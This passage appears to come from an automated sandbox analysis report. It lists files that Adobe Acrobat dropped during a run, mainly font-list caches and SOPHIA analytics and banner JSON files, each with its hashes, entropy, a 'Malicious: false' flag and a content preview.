SHA1:	E760E98592A9DE1E7D09A8C355E524D8F4E81026
SHA-256:	1B06CFACCFC3C458CBF4CBF47881EC513128E2F8FA6623E9B44F04536512B572
SHA-512:	977D998C246B35AF978B06CD0089C0A943E12ECDB58B99DF2231E041AC2C0079C1CF7ECEC9542FD23E3DE50BE32BE8B00ECE86782362B3124558AFE18F09B2DE
Malicious:	false
Preview:	p...... ........p.Yu.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2360

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2360

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319663880855351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJM3g98kUwPeUkwRe9:YvXKXFURi6ZUYpW7CiVGMbLUkee9
MD5:	FABC2444BECC4E0CDCDB5FF508F26F39
SHA1:	EAFFD36741DD0A9ACC9632F30FA592DAC0065433
SHA-256:	C35DFA4F032987F9A0BC51FF344FDDD81DD75A1DF3AE762C85890253BCAC186C
SHA-512:	35BBE2F78A0107C31D1A1C407FC946E036D06A9FED6000E8C7583F6264881E66B446CB88483068DF88D5582006552980A97690A1BA26513F90A61F03AA1E8C9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256223565491539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfBoTfXpnrPeUkwRe9:YvXKXFURi6ZUYpW7CiVGWTfXcUkee9
MD5:	D198D116EF8C0F4F573DE42797FFE72E
SHA1:	5269519B44E71FA8B1CE400755244549B850BA86
SHA-256:	03CFDCC7508CF9AD8095851C5C9E96DB82DA4984A45FFEC35400D4F8D92F4A48
SHA-512:	65938DB2F7DD1614DFCCC6B79CAD5CE9B7E52F275A71FEFB7C59EC471B954F86E15E0831E8BD7D8FA9A74AB2D006B6A948406B30FF65433C122B647FE03573A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2353030296965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfBD2G6UpnrPeUkwRe9:YvXKXFURi6ZUYpW7CiVGR22cUkee9
MD5:	B7221AA2F787BB834E5227279B2E16CB
SHA1:	A1CC75B7E3CF691C3B01A3661A14FCFB7B8BA74E
SHA-256:	77367C175817716118501ADFF3B81CD7666E2ABD2BDC59564813D8F5AF49CC5C
SHA-512:	FD3BB0FD819BBDC0072AF9921C4FA7D01D4FB3A0745BA75872491EEECD0463F82EA3EADFC6DFC85BB21A7F063B6863DFC25BE138C1599D6479E2581DEDE83E3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.297023442528169
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfPmwrPeUkwRe9:YvXKXFURi6ZUYpW7CiVGH56Ukee9
MD5:	DBDF616F0B2A47A62F09CB4E21F6F80D
SHA1:	DD98F88A259F4FE7CD6A50F18CE704B29EF21ACE
SHA-256:	BBFE3A918668551206A7F28881CA81303720A1441835741BE86D1D0C41B4331B
SHA-512:	FEBDC6F3CD6509619138A5569ABAA2B2D6C2316FEEDF9344373D4D404DBAF09E84CCB94467EF2E6E663E61B3A1D4E3B70DCC0636804DD72A4658D5303631654F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683259801110156
Encrypted:	false
SSDEEP:	24:Yv6XF2FiCi6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:Yv62sKhgy6SAFv5Ah8cv/X
MD5:	DCD22FB5A3CEE686970CEE2BE225B979
SHA1:	972E439C8C03317C286A05960BA68709409FC40B
SHA-256:	DB8898BE8418FD90411EED7790097107976ADC69044CEF7EFECB24758460302D
SHA-512:	FF52E413A1CF05A3057E2D364BB385344D853CF7722866ADAC6DA227B29549A53794FC74B7FDD492F5A5E1E3F14BF932FF8192AD68335CFFD897D247EF6A23A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.240459148188272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJf8dPeUkwRe9:YvXKXFURi6ZUYpW7CiVGU8Ukee9
MD5:	68EDB94236C02CA8A938F336E5CF95A8
SHA1:	FD69015C9B51BD868999BC3F7EA4AEF864667D20
SHA-256:	0B3CD095CC6542C49155A38D9A9322B58D071AE31B990E83F7FCBC5C64666849
SHA-512:	EB709DC0FC4470696CDA621FA9B20F383DFCF7B621065711A9E47BDE5F84865C7A66A8816C285C9D6845F7FBA4315FD685F222843AB010CB0B86A8A6D7647775
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.241200485628241
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfQ1rPeUkwRe9:YvXKXFURi6ZUYpW7CiVGY16Ukee9
MD5:	7B26B44D1B7BEE4E0A15AB3B508ABB3C
SHA1:	3C6AB543F42E00C2DB9F1E0E56429C478EFE4C5E
SHA-256:	D3FFD314C06A1138B170AEA45FDB35020E4568DD611C29E984F39FA3B7C6FFEB
SHA-512:	ECF3AB5EE8D1945BD70D4E188575EBE86809EA2EE68F3205A984AE08005CCD8F6E21DB4C64141E719B33D5CEC3EC187198D6709765F72557D2DAA0887D96B4D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260976207376143
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfFldPeUkwRe9:YvXKXFURi6ZUYpW7CiVGz8Ukee9
MD5:	28894CE716557EDEE703608BE36987AA
SHA1:	D867614783D30539B91B5A1D2D419F0E72281E78
SHA-256:	01F59D65FB5A58DE1791C9D4874C7A201969DF4BACA3EFAA87FF89BF7E6A3AEC
SHA-512:	ED9E74AAC953FC8A84447EF498F6207F64E108B2DE508423B98361ECD8AED0AD3E01A340393EC7EBBCEF2A9BB19340437964714397C1EF32E473FF5B37DE08DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2685950778957675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfzdPeUkwRe9:YvXKXFURi6ZUYpW7CiVGb8Ukee9
MD5:	4E512C961852C71573F0930DBA17E17C
SHA1:	0101A7D049BE926D01EC1883C74D5F956FA61B69
SHA-256:	43005E209F81942FF6D0C2C48584E4E5FC4D93AD4BC61F52FE4D99E34081C48A
SHA-512:	BE9C22E6CA9B76B3EBF8563DCEA6ADB1EC3308E02F44FC908CECCA01815E0A3D56CE939C015CB55876E18B16E94C26FCB10E63F84ECEF11B5887B9177ACDF306
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.247890984400988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfYdPeUkwRe9:YvXKXFURi6ZUYpW7CiVGg8Ukee9
MD5:	05F345FD82ACB0F82AE219B707237F8D
SHA1:	2A655E79BE344B3BA64523E5DA46B57F82806AC5
SHA-256:	66799D1ED6377BB156676A8D0A9192F4E13170E279BAFB421AA741957A40366E
SHA-512:	1BDB9F9E014849D47515995BD468F0BAEAA917192E3048B65DFDCE59D49B74B861C56A9EFE6BDECB0E0520E9208CD3786941A409619DC2E54CF8BD612303FDE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.233872785967059
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJf+dPeUkwRe9:YvXKXFURi6ZUYpW7CiVG28Ukee9
MD5:	D0C1E87723CC0C9270CEABA2584F851A
SHA1:	18212892C48FB00482E34C770C375D70C2B9B256
SHA-256:	F470EBFFAAE9452CBDDC9BE3E3B662129A0EBABA1848455C4542E35A490FBB7A
SHA-512:	AEFE366409883D893316A4C4184376ECE05A9B588DC6985BF7490742F1D118E430A69D6F9B912A5A1B6E00D94CC4C16407D1040C9D642040F0728DE9433A4182
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.231796219639105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJfbPtdPeUkwRe9:YvXKXFURi6ZUYpW7CiVGDV8Ukee9
MD5:	6675BD9E9E3FF912B611E01057C58C5C
SHA1:	8B64D4ACCC30C7FEDC657F6ACDFB5BD05403FA3B
SHA-256:	575C5B5F135892942CA030B57F43371445611868AD96855BAA28F5F432442472
SHA-512:	303B87ECDBAEF86A6F301D1B0BF89398B8720D2D061B1A701AE4D522B51AB05223BB090889C597D2A88B14FD502EA46D243183F4DD00A8A86FB34DCB82CF8673
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.232433791718551
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFURPRuBT6Zx+FIbRI6XVW7+0YoJWieoAvJf21rPeUkwRe9:YvXKXFURi6ZUYpW7CiVG+16Ukee9
MD5:	A37AE45D7C05205559B56C54081B268E
SHA1:	0B31ACBC2DC4A38F55FA33F5C9B1CBF8403BFC93
SHA-256:	962DA2BA7D24B46C69B8337CAEC5593A9FB7BE224DB63C4668C2AC119740207C
SHA-512:	A9EF24282F1BE6EE65A3440CDFF62287CA66E31EABBF32A5D450358DC95AE6A4A1C16BE3C823634F8249D66842ECCD72E6148FED5F1B1A62DFE5A6653F89498D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"21bdb221-9b3c-4262-beb4-d67bfeee2ac3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752000678,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6505644993396125
Encrypted:	false
SSDEEP:	24:Yv6XF2FiCimamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:Yv62sYBgkDMUJUAh8cvMX
MD5:	FEC49DB2BB08EF840B812C7534058BC2
